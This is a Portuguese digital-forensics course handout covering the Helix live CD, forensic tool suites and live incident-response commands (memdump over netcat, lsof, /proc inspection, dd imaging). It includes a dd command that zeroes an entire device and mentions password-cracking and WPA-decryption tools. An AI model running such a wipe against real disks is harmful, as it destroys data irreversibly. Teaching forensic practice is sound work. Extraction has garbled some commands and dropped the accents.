Durante o curso, usaremos o Linux, por causa de algumas caractersticas deste sistema:
No necessrio adquirir licenas para uso Existe uma gama completa de ferramentas de anlise forense de uso livre Capacidade de acessar qualquer tipo de sistema de arquivos ou parties a partir de configurao no kernel Capacidade de acessar diversos tipos de dispositivos (USB, discos etc) Firewall embutido no kernel e possibilidade de utilizar diversas modificaes no kernel para aumentar a segurana da mquina Disponibilidade de diversas distribuies prontas para anlise forense, facilitando o trabalho de reunir diferentes ferramentas

Sistema operacional
Apesar disso, existem limitaes na utilizao do sistema Linux. Se for necessrio analisar algum executvel para Windows, precisaremos de uma maneira de emular o Windows. A melhor opo utilizar o VMWare ou outro sistema de emulao, como o Wine. Apesar da escolha pelo Linux, existem timas ferramentas de anlise forense para Windows, tal como o software EnCase.

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP

22

Live CD
Importante manter as ferramentas atualizadas Existem diversos CDs inicializveis com sistemas Linux: No precisam ser instalados Normalmente no modificam o sistema instalado Podem ser utilizados em um sistema ligado ou como dispositivo de boot em um sistema desligado So atualizados pelos responsveis Contm uma ampla gama de ferramentas

Live CD
H grupos especializados em reunir as melhores ferramentas para anlise forense. Existem diversos CDs inicializveis com sistemas Linux, prontos para serem utilizados em um atendimento inicial a um incidente. Eles no precisam ser instalados, e normalmente no causam modificaes no sistema instalado. Podem ser utilizados em um sistema ligado, ou como dispositivo de boot em um sistema desligado. Contendo uma ampla gama de ferramentas, sua atualizao mantida pelos responsveis.

Um grande problema para o investigador manter atualizadas todas as suas ferramentas, medida importante em um processo de anlise forense. Por exemplo, investigadores da polcia tcnica ou peritos criminais em informtica tm como parte dessas atividades manter suas ferramentas atualizadas. A recomendao de utilizar um Live CD, ou um pacote pronto de ferramentas, vale para aqueles profissionais que no tm como atividade principal a realizao de anlise forense, desempenhando a atividade apenas em casos isolados. Nestes casos, quando existir a necessidade de realizar uma anlise forense, basta baixar a ltima verso da distribuio definida como padro, e todas as ferramentas estaro atualizadas.

Live CD
Helix uma distribuio especfica para anlise forense Contm ferramentas para anlise e resposta a incidentes em ambientes Linux, e um pacote de ferramentas para anlise em sistemas Windows que ainda estejam ligados. Pode ser utilizado como um CD de boot em sistemas desligados, ou montado em um sistema ligado para servir como fonte de ferramentas para uma resposta inicial ao incidente. Utilizado por diversas instituies e grupos de anlise forense e de resposta a incidentes.

Em nosso curso utilizaremos o Helix, uma distribuio especfica para anlise forense, baseada em uma verso altamente modificada do Knoppix Linux. Alm de conter ferramentas para anlise e resposta a incidentes em ambientes Linux, o Helix contm um pacote de ferramentas para anlise em sistemas Windows que ainda estejam ligados. Ele foi modificado para garantir que nenhuma alterao seja feita ao sistema analisado. Pode ser utilizado como um CD de boot em sistemas desligados, ou montado em um sistema ligado para servir como fonte de ferramentas para uma resposta inicial ao incidente. utilizado por diversas instituies e grupos de anlise forense e de resposta a incidentes, o que garante que esteja sempre atualizado.

Alm das ferramentas que sero discutidas durante o curso, existem muitas outras presentes no CD que o aluno poder utilizar, incluindo interfaces grficas para algumas das ferramentas discutidas. No curso, examinaremos as ferramentas de comando de linha que permitem trabalhar em um nvel mais baixo de operao, e entender o real funcionamento de cada uma.

Anlise forense Sesso de aprendizagem 2

23

Live CD
Alm do Live CD, em nosso curso utilizaremos o VMWare, ambiente virtual que simula um computador real, permitindo a execuo de praticamente qualquer sistema operacional. Utilizaremos uma imagem do CD do Helix associada ao CD-ROM da mquina virtual. Configuraes da mquina virtual: 256 MB de RAM Disco rgido de 8 GB, para armazenar dados dos exerccios e servir como exemplo Imagem do Helix associada ao CD-ROM Placa de rede host-only (s se conecta ao computador local) Com o VMWare, podemos reverter o estado da mquina virtual para estados anteriores, evitando assim a perda de dados proveniente de comandos errados.

importante deixar claro que o ambiente escolhido para resposta ao incidente ou para a investigao forense no deve de maneira nenhuma modificar qualquer dado no sistema suspeito sem o conhecimento e controle do investigador. Por exemplo, uma distribuio Linux normal, ao ser iniciada, vai tentar montar qualquer dispositivo de disco presente na mquina, e isso deve ser evitado a todo custo. Esta a vantagem de utilizar uma distribuio especfica para anlise forense.

Hardware forense
H no mercado diversas solues de hardware que podemos utilizar para realizar a duplicao e anlise pericial. Estas ferramentas so mais completas e realizam cpias perfeitas das informaes em uma imagem. Atravs da imagem, o perito realiza sua anlise sem danificar as provas originais. Permitem a duplicao em alta velocidade, com bloqueio fsico de escrita, clculo de hash MD5, SHA1, SHA2, emisso de logs de operao etc. Em plataformas integradas de processamento, estes sistemas esto disponveis em configuraes mveis, estacionrias ou de laboratrio, projetados para aquisio e exames de evidncias. Possibilitam duplicar as evidncias diretamente do HD IDE/SCSI/ SATA, disquetes, CD, DVD, ZIP driver, fita DAT 4MM e PCCARD, SmartMedia, SD-MMC, Memory Stick, Compact Flash. Duplicadores de HDs com suporte s principais interfaces, tais como: IDE, Enhanced IDE, Narrow SCSI, Wide SCSI, Ultra SCSI e SCA. Podem transferir dados de diferentes interfaces. Duplicao em larga escala substitui com inmeras vantagens os atuais processos de clonagem de discos via software. Ideal para operaes de deployment e fbricas de PCs. Duplicadores de HDs e equipamentos para bloqueio de escrita em mdias digitais
Ambiente e ferramentas de anlise forense

Estaes e servidores para computao forense

Escola Superior de Redes RNP


Redes Wi-Fi

24

Equipamento dedicado para anlise de sinal WLAN 802.11 e cincias forenses. O foco do produto a facilidade de uso e automao. capaz de capturar todo o trfego Wi-Fi num raio de 4 km fazendo uso simultneo dos 14 canais de comunicao 802.11. Wireless Wi-Fi Completamente invisvel na rede, permite o armazenamento dos pacotes em padres que podem ser usados por qualquer ferramenta de anlise forense de rede. Realiza a decriptografia simultnea de WEP e WPA. Celulares
\\XRY

A anlise forense de aparelhos celulares ganha outra dimenso com o uso do .XRY. Incrivelmente rpido, seguro e prtico de usar. O visualizador de dados gratuito, permitindo a anlise distribuda por uma equipe maior e o compartilhamento de informaes. ID Cloner Permite anlise em celulares com chip bloqueado ou danificado.

\\SIM

Celulares

Pacote forense
Helix The Coroner's Toolkit Flag-Knoppix SMART Linux Comerciais FTK Forensic Toolkit EnCase

Pacote forense
Helix Este software oferece aos profissionais da rea a possibilidade de executar vrios processos de anlise forense computacional. Suporta diversos sistemas operacionais. Pode ser executado atravs de um sistema operacional ou antes do incio do sistema operacional. Suas principais caractersticas so:
\\Suporte

aos sistemas operacionais das plataformas Windows, Linux e Solaris; informaes do sistema, como: verso do sistema operacional, rede, discos, parties e o sistema de arquivos, alm do tamanho; cpia perfeita de disco e memria fsica, em outra rea, como a rede ou em mdia removvel; o acesso a vinte ferramentas de percia forense computacional;

\\Mostra

\\Realiza

\\Disponibiliza

Helix
Anlise forense Sesso de aprendizagem 2

25

\\Possui

algumas documentaes a respeito de percia forense computacional que podem ajudar o perito a desenvolver o seu trabalho; um navegador que possibilita expandir os discos e verificar algumas propriedades dos arquivos e pastas; uma ferramenta de procura rpida por imagens de diversos formatos no computador; um editor de texto para realizar anotaes importantes sobre o que est sendo analisado.

\\Possui

\\Contm

\\Possui

FTK Forensic Toolkit Oferece aos profissionais da rea a habilidade de executar percias completas nos computadores. Com esta ferramenta possvel customizar filtros que permitem a pesquisa em milhares de arquivos e encontrar a evidncia rapidamente. O FTK conhecido no mercado como uma das principais ferramentas de anlise forense de e-mail. Suas principais caractersticas so:

FTK Forensic Toolkit


\\Recuperao \\Visualizao \\Gera

de e-mails excludos;

de registros;

auditoria de logs e relatrios de casos; automaticamente arquivos excludos e parties;

\\Recupera \\Visualiza \\O

mais de 270 formatos diferentes de arquivos;

FTK Explorer permite que se navegue rapidamente pelas imagens encontradas;

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP


\\Suporta

26

vrios sistemas de arquivos, como NTFS, FAT12, FAT16, FAT32, Linux Ext2 e Ext3; os formatos de imagens de outros programas, como o EnCase;

\\Suporta \\

suportado por vrios clientes de e-mail, como o Outlook, Outlook Express, Yahoo, Hotmail etc. visualiza, imprime e exporta mensagens de e-mails e anexos;

\\Pesquisa, \\Extrai

informaes da maioria dos arquivos compactados.

EnCase Forensics Ferramenta grfica do setor de tecnologia da investigao forense de computadores. Com uma interface de uso intuitivo, auxilia o perito na anlise e aquisio dos dados, realiza busca em diversas mdias e gera documentao. O programa foi desenvolvido para atender a necessidade dos peritos em buscar informaes no formato eletrnico, tais como e-mails e internet. Suas principais caractersticas so:

EnCase Forensics

\\Investigao \\Provas

reativa;

no repudiveis; metodologia internacional; a informaes escondidas; de pesquisas;

\\Refora \\Acesso

\\Automatizao \\Resposta

a incidentes e combate a fraudes; pr-ativa;

\\Investigao \\Resposta

a incidentes aps a ltima linha de defesa; de incidentes;

\\Documentao \\Discrio; \\Assertividade

no processo de recuperao.

Anlise forense Sesso de aprendizagem 2

27

NetWitness Ferramenta capaz de analisar o trfego que flui na rede. Anos de colaborao com o departamento de inteligncia dos EUA fizeram com que o NetWitness seja capaz de analisar grande volume de informao dinmica, respondendo imediatamente a ataques: quem fez o qu, onde, quando, como e por qu.

Net Witness

Programas especficos
O processamento de imagens est integrado aos sistemas de investigao mais avanados do mundo. O resultado dessa combinao o enorme aumento de produtividade e expanso dos limites humanos, quando for necessrio o processamento de grande quantidade de imagens.

Software para reconhecimento visual de imagens


Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP

28

Para exemplificar, veja as imagens da capa da revista Time. A da esquerda a original; a da direita contm uma informao secreta, que s poder ser descoberta por quem tiver a senha e o programa apropriado. Gargoyle Investigator Forensic Esteganografia Busca a identificao de armas digitais em sistemas isolados. Compatvel com imagens capturadas por EnCase, DD, FTK e outros. Expande a funcionalidade para busca em rede por toda a corporao, incluindo: Anti Forensics, Binary Editors, BotNets, Credit Card Fraud Tools, Denial of Service Tools, Encryption, Steganography, Exploit Scanners, File Splitters, Gaming Tools, Keyloggers, Spyware, Peer to Peer Communications, Password Crackers, Remote Access Tools, Trojans, Worms, Rootkits, Wired and Wireless Surveillance. Stego realiza a deteco de esteganografia em imagens ou arquivos de udio diretamente no sistema de arquivos, em HDs capturados ou pela internet. Realiza a anlise detalhada e a busca dos arquivos altamente supeitos. Realiza ataques de dicionrio e fora bruta contra algoritmos conhecidos de esteganografia. Ultimate Toolkit contm vrias ferramentas necessrias para investigao e percia de computadores e outras evidncias digitais. Dentre as principais, destacamos: Forensic Toolkit, Registry Viewer, Password Recovery Toolkit e Distributed Network Attack. Rainbow Tables uma ferramenta de ataque pr-computado de fora bruta que reduz o tempo de quebra de chaves de criptografia de 40 bits para segundos. Um ataque de fora bruta sobre uma chave de 4 bits deve processar 1 trilho de possibilidades, e um Pentium IV processando 500.000 combinaes por segundo levaria 25 dias para complet-lo. Com Rainbow Tables voc pode decriptografar um documento de Word em segundos ou minutos, ao invs de dias. Mercury encontra as evidncias de maneira rpida. Integrado ao EnCase Forensics, indexa o arquivo de evidncias e permite buscas avanadas por palavras-chaves, proximidade, combinaes etc. Pode ser distribudo para pessoas que no possuem conhecimento tcnico, aumentando a produtividade da equipe de investigao.

Anlise forense Sesso de aprendizagem 2

29

Preparao da investigao
No atendimento inicial a um incidente, o investigador deve: Coletar o mximo possvel de evidncias Comprovar o incidente Conter possveis ataques originados no sistema comprometido Como fazer tudo isso, minimizando a perda de dados? Nesta hora, a utilizao de um checklist pode ajudar, principalmente se o sistema ainda estiver ligado. A resposta precisa ser rpida e precisa.

Preparao da investigao
A primeira ao preparar as ferramentas e dispositivos para a coleta das evidncias. Ao investigar um sistema possivelmente comprometido que esteja ligado, o investigador deve se preocupar em coletar primeiro as informaes mais volteis, como memria RAM, informaes de rede, processos em execuo, cpia do disco rgido, logs e histricos. Normalmente, o investigador vai ter a sua disposio equipamentos de armazenagem e de rede para se comunicar com o sistema suspeito. Durante o curso, utilizaremos o Live CD do Helix em um sistema virtual, como por exemplo no atendimento a incidentes em sistemas ligados.

Preparao da investigao
Primeira ao: preparar as ferramentas e dispositivos para a coleta das evidncias. Coletar primeiro as informaes mais volteis: Memria RAM, informaes de rede, processos em execuo, cpia do disco rgido, logs, histricos; Possuir equipamentos de armazenagem e de rede para comunicao com o sistema suspeito. Durante o curso, vamos utilizar o Live CD do Helix em um sistema virtual, como por exemplo no atendimento a incidentes em sistemas ligados.

Preparao do ambiente
Inicialmente, preparemos o ambiente que vamos utilizar durante o atendimento ao incidente:
# fdisk l Disk /dev/sda: 8589 MB, 8589934592 bytes 255 heads, 63 sectors/track, 1044 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks /dev/sda1 1 32 257008+ /dev/sda2 33 64 257040 /dev/sda3 65 1044 7871850 /dev/sda5 65 1044 7871818+ # mkdir /data # mount /dev/sda5 /data

Preparao do ambiente
# fdisk -l8 Disk /dev/sda: 8589 MB, 8589934592 bytes 255 heads, 63 sectors/track, 1044 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sda1 1 32 257008+ 82 Linuxswap /dev/sda2 33 64 257040 83 Linux /dev/sda3 65 1044 7871850 5 Extended /dev/sda5 65 1044 7871818+ 83 Linux # mkdir /data8 # mount /dev/sda5 /data8

Id 82 83 5 83

System Linuxswap Linux Extended Linux

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP

30

Preparao do ambiente
A memria RAM a informao mais voltil que existe no sistema. No Helix, temos uma ferramenta chamada memdump, que faz uma cpia da memria RAM, que podemos redirecionar para um arquivo em disco: # memdump > /data/phys_memory.img Alm disso, podemos redirecionar para uma conexo de rede, e coletar remotamente o arquivo em nossa estao forense: Na estao forense: # nc -l -p 4000 > /data/phys_memory.img Na mquina suspeita: # memdump | nc 127.0.0.1 4000

Neste exemplo, vamos copiar a memria RAM do sistema virtual para um arquivo, e grav-lo no diretrio montado previamente. Pode acontecer de algum aluno no ter montado a partio do disco conforme mostrado, e acontecer um erro por falta de espao. Consulte o slide anterior para montar a partio do disco corretamente.

Nota: O memdump tem um parmetro para copiar a memria do kernel do Linux, alm de copiar a memria fsica. Este parmetro no funciona dentro do sistema virtual.

O comando netcat (nc) muito importante para o analista forense. Ele permite criar conexes de rede TCP ou UDP com outras mquinas, alm de criar listeners, permitindo simular a existncia de um servio, ou, como no exemplo, permitir a cpia de arquivos pela rede sem utilizao de software especfico para isso. O instrutor deve tomar algum tempo para mostrar o funcionamento do netcat, especificamente no exemplo dado. No exemplo, o aluno vai utilizar o netcat para criar um listener na mquina, na porta 4000, redirecionando a sada dele para um arquivo. A seguir, em outro terminal, o aluno vai executar o memdump, redirecionando a sada dele para o netcat, que vai criar uma conexo com a mquina local, na porta 4000, e enviar toda a sada do memdump para essa conexo. Com isso, a sada do comando memdump vai ser transmitida pela rede (neste caso, localmente, mas normalmente atravs da rede fsica) para o arquivo especificado no primeiro redirecionamento. possvel redirecionar para uma conexo de rede, e coletar remotamente o arquivo em nossa estao forense:

Preparao do ambiente
Passos importantes durante o atendimento a um incidente: Manter um registro preciso de todas as aes executadas, registrando todos os comandos executados, com os respectivos tempos de execuo. Descobrir se as informaes de tempo disponveis em suas evidncias so coerentes.
O timezone de logs e da mquina um dado muito importante.

Na estao forense:
# nc -l -p 4000 > /data/phys_memory.img8

Na mquina suspeita:
# memdump | nc 127.0.0.1 40008

Por isso, aps recuperar a memria da mquina, importante descobrir essas informaes:
# date Sun Jan # uptime 01:35:16

Durante a fase de anlise das evidncias, o investigador vai precisar correlacionar as evidncias encontradas na mquina invadida com evidncias 6 01:34:46 MST 2008 externas, como logs de firewall, roteadores, IDS etc. O sincronismo de tempo e a coerncia entre os timeup 7:55, 5 users, load average: 0.13, 0.26, 0.18 zones dessas evidncias importante para garantir a validade das concluses encontradas atravs das evidncias. Por isso importante descobrir essa informao o quanto antes, durante o atendimento inicial do incidente.

Anlise forense Sesso de aprendizagem 2

31

Este passo normalmente o primeiro a ser realizado, mas como tentamos evitar ao mximo o comprometimento de evidncias, executamos estes comandos somente aps a coleta da memria, pois a execuo destes comandos poderia sobrescrever alguma evidncia em memria. O instrutor pode comentar sobre a necessidade de manter dispositivos sincronizados, de preferncia com servidores NTP confiveis, e sobre o funcionamento do timezone e do relgio do sistema, que est sempre em UTC. A configurao de timezone utilizada somente para mostrar a hora no valor local. No incio da investigao, um passo importante durante o atendimento a um incidente manter um registro preciso de todas as aes executadas; para isso, necessrio registrar todos os comandos executados, com os respectivos tempos de execuo. Alm disso, importante descobrir se as informaes de tempo disponveis em suas evidncias so coerentes. O timezone de logs e da mquina um dado muito importante. Por isso, aps recuperar a memria da mquina, importante descobrir essas informaes:
# date8 Sun Jan 6 01:34:46 MST 2008 # uptime8 01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18

Coletando informaes dos processos


# lsof l
Lista todos os arquivos abertos. Use os comandos more ou less ou redirecione a sada atravs do netcat

Coletando informaes dos processos


LSOF um comando importante para a coleta de informaes sobre processos e conexes de rede, porque integra a funcionalidade de diversas ferramentas diferentes. Pode funcionar como o netstat ou como o ps, por exemplo, alm de ter a capacidade de listar arquivos abertos. Neste slide e no prximo, o instrutor pode dedicar algum tempo a testar os parmetros do LSOF com mais profundidade, alm dos parmetros apresentados aqui.
# lsof l8

# lsof -i
Lista todos os arquivos de rede abertos, para descobrir os programas que esto mantendo conexes abertas. Tem a mesma funo do comando netstat nap.
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME Xorg 2252 root 1u IPv4 9383 TCP *:x11 (LISTEN) sshd 2792 root 3u IPv4 10359 TCP *:ssh (LISTEN) pump 2870 root 0u IPv4 10612 TCP *:bootpc (LISTEN) sshd 2872 root 3u IPv4 10647 TCP 192.168.47.129:ssh>192.168.47.1:4944 (ESTABLISHED)

Lista todos os arquivos abertos. A sada pode ser grande, por isso use algum tipo de controle de sada. Use os comandos more ou less, por exemplo, ou redirecione a sada atravs do netcat.
# lsof -i8

Lista todos os arquivos de rede abertos. Com isso possvel descobrir os programas que esto mantendo conexes abertas. Tem a mesma funo do comando netstat nap.

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP


COMMAND PID USER Xorg 2252 root 1u sshd 2792 root 3u pump 2870 root 0u sshd 2872 root 3u (ESTABLISHED) FD IPv4 IPv4 IPv4 IPv4 TYPE 9383 10359 10612 10647 DEVICE SIZE NODE NAME TCP *:x11 (LISTEN) TCP *:ssh (LISTEN) TCP *:bootpc (LISTEN) TCP 192.168.47.129:ssh->192.168.47.1:4944

32

Coletando informaes dos processos


Utilizao de LSOF em conjunto com o comando grep:
# lsof -l | grep LISTEN Xorg 2252 0 sshd 2792 0 pump 2870 0 1u 3u 0u IPv4 IPv4 IPv4 9383 10359 10612 TCP *:x11 (LISTEN) TCP *:ssh (LISTEN) TCP *:bootpc (LISTEN)

Uma maneira de utilizar o LSOF em conjunto com o comando grep. Podemos limitar o que o LSOF mostra, para listar todos os arquivos abertos por um determinado comando (lsof l | grep netscape) ou todos os programas que mantm um listener aberto.
# lsof -l | grep LISTEN8 Xorg 2252 0 1u IPv4 9383 TCP *:x11 (LISTEN) sshd 2792 0 3u IPv4 10359 TCP *:ssh (LISTEN) pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)

Este comando mostra todos os processos que mantm um socket Unix aberto:
# lsof -U

COMMAND PID USER FD TYPE DEVICE SIZE udevd 517 root 3u unix 0xce957e00 dbus-daem 1485 messagebus 3u unix 0xce957c80 /var/run/dbus/system_bus_socket dbus-daem 1485 messagebus 5u unix 0xce957b00

NODE NAME 4060 socket 7524 7526 socket

Este comando mostra todos os processos que mantm um socket Unix aberto. Pode ser importante para descobrir processos escondidos que esto mantendo conexes abertas e pipes que podem indicar a presena de trojans e rootkits.

# lsof -U8 COMMAND udevd dbus-daem dbus-daem PID 517 1485 1485 USER root messagebus messagebus FD 3u 3u 5u TYPE unix unix unix DEVICE SIZE 0xce957e00 0xce957c80 0xce957b00 NODE 4060 7524 7526 NAME socket /var/run/dbus/system_bus_socket socket

Coletando informaes dos processos


Recuperao de informaes sobre processos atravs do diretrio /proc:
# ls /proc/2877 attr auxv cmdline cwd environ exe fd maps mem mounts mountstats oom_adj oom_score root seccomp smaps stat statm status task wchan

Outra forma de recuperar informaes sobre processos atravs do diretrio /proc. Este diretrio criado virtualmente pelo kernel do sistema operacional para armazenar informaes sobre o hardware e software bsicos do sistema. Para cada processo, um diretrio criado com diversos dados sobre ele:
# ls /proc/28778
attr auxv cmdline cwd environ exe fd maps mem mounts mountstats oom_adj oom_sco re root seccomp smaps stat statm status task wchan

Para cada processo existem diversas informaes disponveis. Alguns destes arquivos contm dados importantes sobre o processo em execuo.

importante perceber que, como este diretrio virtual, isto , no existe fisicamente no disco, qualquer modificao feita nele no vai comprometer as evidncias em disco. Contudo, importante notar que preciso ter muito cuidado para no modificar nada mais alm deste diretrio. Como podemos ver, para cada processo existem diversas informaes disponveis. Alguns destes arquivos contm dados importantes sobre o processo em execuo.

Anlise forense Sesso de aprendizagem 2

33

Coletando informaes dos processos


Contedo de alguns arquivos: O arquivo abaixo na verdade um link para o diretrio corrente do processo:
# ls -l /proc/2877/cwd lrwxrwxrwx 1 root root 0 Jan -> /data 5 18:50 /proc/2877/cwd

Muitas vezes, ao invadir uma mquina e instalar alguma ferramenta, o hacker costuma modificar o nome dos arquivos para nomes comuns em um sistema, como por exemplo sshd ou httpd. importante descobrir o diretrio onde esses arquivos esto, sem comprometer evidncias no disco, para comprovar o comprometimento da mquina. Anlise de contedo de alguns arquivos

O arquivo abaixo contm a linha de comando utilizada para iniciar o processo, servindo para identificar processos estranhos:
# cat /proc/2877/cmdline -bash

O arquivo abaixo na verdade um link para o diretrio corrente do processo. Pode ser importante para descobrir se algum processo com um nome comum (por exemplo httpd) est sendo executado a partir de um diretrio que no seja padro.
# ls -l /proc/2877/cwd8 lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd -> /data

O arquivo abaixo contm a linha de comando utilizada para iniciar o processo. Da mesma forma que o arquivo anterior, pode ser importante para descobrir processos estranhos.
# cat /proc/2877/cmdline8 -bash

Coletando informaes dos processos


O arquivo abaixo contm as variveis de ambiente utilizadas no momento da execuo do programa.
# cat /proc/2877/environ USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/u sr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/ usr/X11R6/binMAIL=/var/mail/rootSHELL=/bin/bashSS H_CLIENT=192.168.47.1 4944 22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129 22SSH_TTY=/dev/pts/2TERM=vt100

Outra forma de comprometer um sistema atravs da instalao de bibliotecas compartilhadas modificadas. Neste caso, o hacker pode carreg-las de diversas maneiras, mas um meio comum atravs da modificao da varivel de ambiente LD_PRELOAD, que define as bibliotecas compartilhadas que devem ser carregadas antes da execuo de um binrio qualquer. A existncia desta varivel apontando para um arquivo suspeito pode indicar o comprometimento da mquina.

O arquivo abaixo contm as variveis de ambiente utilizadas no momento da execuo do programa. Repare que as variveis de ambiente criadas pelo SSH aparecem aqui, o que pode ser importante para identificar algum programa que tenha sido executado remotamente.
# cat /proc/2877/environ8
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sb in:/usr/local/bin:/usr/X11R6/binMAIL=/var/mail/root SHELL=/bin/bashSSH_CLIENT=192.168.47.1 4944 22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129 22SSH_TTY=/dev/pts/2TERM=vt100

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP


Este arquivo mostra informaes de status do processo. Podemos ver informaes sobre usurio/ grupo que executou o processo, memria e CPU utilizados, entre outras informaes.
# cat /proc/2877/status8 Name: bash State: S (sleeping) SleepAVG: 98% Tgid: 2877 Pid: 2877 PPid: 2872 TracerPid: 0 Uid: 0 0 0 Gid: 0 0 0

34

Coletando informaes dos processos


Este arquivo mostra informaes de status do processo:
# cat /proc/2877/status Name: bash State: S (sleeping) SleepAVG: 98% Tgid: 2877 Pid: 2877 PPid: 2872 TracerPid: 0 Uid: 0 0 0 Gid: 0 0 0

0 0

0 0

Coletando informaes dos processos


possvel recuperar processos atravs do /proc. Exemplo:
# ps ax | grep sshd 2792 ? Ss 2872 ? Ss 0:00 /usr/sbin/sshd 0:07 sshd: root@pts/2,pts/3

# cat /proc/2792/exe > /data/proc_2792_sshd.dat # sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /data/proc_2792_sshd.dat 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /usr/sbin/sshd

Este exemplo mostra como recuperar um processo em memria, sem precisar encontrar o arquivo correspondente em disco. comum os hackers removerem do disco as ferramentas que instalam na mquina aps execut-las, pois, dessa forma, se o sistema reiniciado, no h mais traos de suas atividades. Por isso importante tomar cuidado ao comear a investigar um sistema suspeito, pois simplesmente deslig-lo pode comprometer todas as evidncias que o investigador teria para encontrar o responsvel.

Quando for necessrio recuperar algum processo em memria, e o arquivo no existir mais em disco, ou voc no quiser correr o risco de modificar evidncias no disco, possvel recuper-lo atravs do /proc. Vejamos um exemplo:
# ps ax | grep sshd8 2792 ? Ss 0:00 /usr/sbin/sshd 2872 ? Ss 0:07 sshd: root@pts/2,pts/3 # cat /proc/2792/exe > /data/proc_2792_sshd.dat8 # sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd8 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /data/proc_2792_sshd.dat 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /usr/sbin/sshd

Anlise forense Sesso de aprendizagem 2

35

Preservao do disco
Aps a coleta de informaes mais volteis, preciso salvar as evidncias menos volteis A coleta deste tipo de evidncia importante, pois ser atravs dos dados armazenados nos discos que poderemos identificar processos executados pelo hacker, como instalao de ferramentas e modificao de arquivos H diversas metodologias e ferramentas disponveis para coletar uma cpia dos discos: Equipamentos especficos para cpia de discos Ferramentas para cpia disco a disco Criao de uma imagem de disco bit a bit (mais comum)

Preservao do disco
Agora que j coletamos as informaes mais volteis, podemos nos preocupar em salvar as evidncias menos volteis. Precisamos coletar uma cpia de quaisquer dispositivos de armazenagem conectados ao equipamento. A coleta deste tipo de evidncia importante, pois ser atravs dos dados armazenados nos discos que poderemos identificar processos executados pelo hacker, instalao de ferramentas, modificao de arquivos, enfim, poderemos criar uma linha do tempo das atividades da mquina.

Para coletar uma cpia dos discos, existem diversas metodologias e ferramentas disponveis, tais como equipamentos especficos para cpia de discos, ferramentas para cpia disco a disco, e o mais comum, a criao de uma imagem de disco bit a bit. Uma imagem bit a bit uma cpia fiel do contedo do dispositivo de armazenagem, garantindo que todos os dados presentes no dispositivo estejam presentes na imagem.

Preservao do disco
Neste curso vamos utilizar o formato DD, por ser mais difundido e mais facilmente manipulado dentro de um ambiente Linux. Para coletar uma imagem de um dispositivo de disco, utilizaremos a ferramenta dd (da o nome do formato DD). Ferramenta disponvel por padro em qualquer sistema Linux, permite que se realizem cpias bit a bit entre dispositivos, ou ento entre dispositivos e arquivos e vice-versa.

Existem diversos formatos de imagem, alguns por ferramentas especficas, como o software comercial EnCase, outros mais difundidos, como o formato DD. Neste curso vamos utilizar o formato DD, por ser mais difundido e mais facilmente manipulado dentro de um ambiente Linux. Para coletar uma imagem de um dispositivo de disco, utilizaremos a ferramenta dd (da o nome do formato DD). Esta ferramenta, disponvel por padro em qualquer sistema Linux, permite que se realizem cpias bit a bit entre dispositivos, ou ento entre dispositivos e arquivos e vice-versa. A necessidade de zerar o contedo do disco que vai armazenar as evidncias existe mais no caso de ser feita uma cpia de disco a disco. Como o disco novo geralmente no exatamente igual ao disco copiado, em termos de tamanho, geometria etc, pode ser que existam algumas partes dele que no sejam sobrescritas pelo contedo do disco copiado. Com isso, dados que possam existir no disco novo vo continuar gravados nessas reas, podendo confundir o investigador posteriormente. Mesmo assim, a ao de zerar o contedo dos discos de armazenagem uma boa prtica que deve ser sempre seguida.

Preservao do disco
Antes de copiar as evidncias, necessrio garantir que nosso dispositivo de armazenagem est limpo. Para isso, zerar o contedo do disco (antes de gravar qualquer evidncia) com o seguinte comando:
# dd if=/dev/zero of=/dev/<dispositivo> bs=512 conv=noerror dd: writing `/dev/<dispositivo>': No space left on device 514018+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1 MB/s

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP


Como no temos um dispositivo que possa ser zerado, importante notar que no executaremos esse comando com um dispositivo. A execuo desse comando pode ser feita em um arquivo comum, por exemplo, copiando um arquivo qualquer do diretrio /data e executando os comandos abaixo:
# strings a <arquivo.dat>8 # dd if=/dev/zero of=<arquivo.dat> conv=noerror bs=1024 count=40968 # strings a <arquivo.dat>8

36

Este comando copia 4 MB de zeros sobre o contedo do arquivo. Caso no seja especificado o tamanho, o DD continuaria copiando zeros at preencher o disco. No exemplo, mostramos que o contedo que existia no arquivo foi zerado (com os dois comandos strings, antes e depois do DD). Antes de copiar as evidncias, necessrio garantir que nosso dispositivo de armazenagem est limpo. Uma maneira de garantir isso zerando o contedo do disco antes de gravar qualquer evidncia. Fazemos isso com o seguinte comando:
# dd if=/dev/zero of=/dev/<dispositivo> bs=512 conv=noerror8 dd: writing `/dev/<dispositivo>: No space left on device 514018+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1 MB/s

Preservao do disco
Passos para copiar uma partio de um disco para um arquivo de imagem:
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512 conv=noerror 514017+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 36.8564 seconds, 7.1 MB/s # dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512 conv=noerror 514080+0 records in 514080+0 records out 263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s

